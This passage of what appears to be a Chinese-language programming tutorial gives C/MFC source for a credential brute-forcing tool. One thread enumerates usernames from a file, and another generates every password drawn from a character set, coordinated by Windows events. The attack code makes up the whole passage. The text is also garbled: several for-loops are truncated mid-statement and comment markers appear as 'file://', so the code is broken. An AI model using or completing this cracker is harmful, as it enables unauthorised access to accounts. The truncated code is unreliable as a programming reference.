UINT GetNextUserF(FILE *file)
{
char cUser[MAX_LINELENGTH ],*token;
FILE *fUser;
int i,flag=0;
if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用戶名的路徑及文件名
{
MessageBox(GetActiveWindow(),"打開文件時出錯。","消息",0);
if(fUser!=NULL)fclose(fUser);
return 0;
}
while(!feof(fUser))
{
for(i=0;i
if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
{
bCheckUser=FALSE;//記錄用戶名枚舉完
fclose(fUser);
return 0;
}
token=strtok(cUser,SETPRATE);// #define SETPRATE " \t\n\r"
do
{
WaitForSingleObject(gEventNextUser,INFINITE);
// 等待“新用戶名”事件
gEventNextUser.ResetEvent();//復位。
for(i=0;i
strcpy(cCurrentUser,token);//改變當前用戶名。
gEventUserOk.SetEvent();//發送“用戶名完成”事件
}while((token=strtok(NULL,SETPRATE))!=NULL);
}
return 1;
}
5.密碼枚舉:
UINT GetNextPassL(LPVOID pParam)
{
int i,j,iPre;
char cBuf[MAX_PASSWORD_LENGTH];
BEGIN:
for(int m=0;m
{
file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:當前密碼組成字符集合列表
file://例如:cCurrentCharList =“abcd”:表示枚舉的密碼由abcd組成
file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向當前密碼
file://組成字符集合列表的列表
file://例如:4444:表示生成密碼為“dddd”,
file://4231:表示生成密碼為“dbca”......
cCurrentPCList[m]= iCharCount;
// iCharCount:密碼組成字符的字符個數
}
while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 結束
{
for(int n=0;n
while(1)
{
for(i=0;i
{
cBuf[i]=cCurrentCharList[cCurrentPCList[i]];
}
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新密碼”事件
gEventNextPass.ResetEvent();//復位。
for(int n=0;n
strcpy( cCurrentPass,cBuf);//改變當前密碼。
gEventPassOk.SetEvent();//送密碼完成事件
file://進行cCurrentPCList數組的處理。
if(( cCurrentPCList[i-1]--)==0)break;
}
file://最后一位復iCharCount;;
cCurrentPCList[i-1]= iCharCount;
iPre=1;//借位標志
for(j=i-2;j>=0;j--)
{
if(( cCurrentPCList[j]-=iPre)<0)
{
if(j==0)break;//結束。
cCurrentPCList[j]= iCharCount;iPre=1;//復位J,向上借位。
}
else {iPre=0;continue;}//不必再向上借位。
}
}
if(cCurrentPCList[0]<=0)
{
file://復位,進入下一個循環。
if(!bCheckUser)//如果用戶名枚舉完
{
MessageBox(GetActiveWindow(),"所有的用戶名及密碼已枚舉完。","消息",0);
return 0;
}
gEventNextUser.SetEvent();//發送“新用戶名”事件
WaitForSingleObject(gEventUserOk,INFINITE);
file://等待“用戶名完成”事件
gEventUserOk.ResetEvent();//復位。
goto BEGIN;
}
return 0;
}